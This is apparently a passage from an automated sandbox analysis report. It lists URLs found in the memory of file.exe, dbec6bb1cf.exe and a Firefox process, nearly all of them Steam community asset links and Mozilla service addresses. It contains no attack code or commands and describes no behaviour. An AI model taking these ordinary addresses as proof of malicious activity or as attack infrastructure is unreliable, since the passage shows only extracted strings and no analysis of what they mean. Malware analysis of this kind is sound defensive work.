Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667659341.00000000011A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667659341.00000000011A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667659341.00000000011A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=W9BX
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667659341.00000000011A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeN
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2684378399.0000014D54E52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.2872155375.0000014D5DB8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2824139889.0000014D55015000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.2214334735.00000000053DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2226516704.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D610000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001A.00000002.2801575464.0000014D44D30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2801575464.0000014D44D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001A.00000002.2864874573.0000014D5D703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001A.00000002.2839377042.0000014D56772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
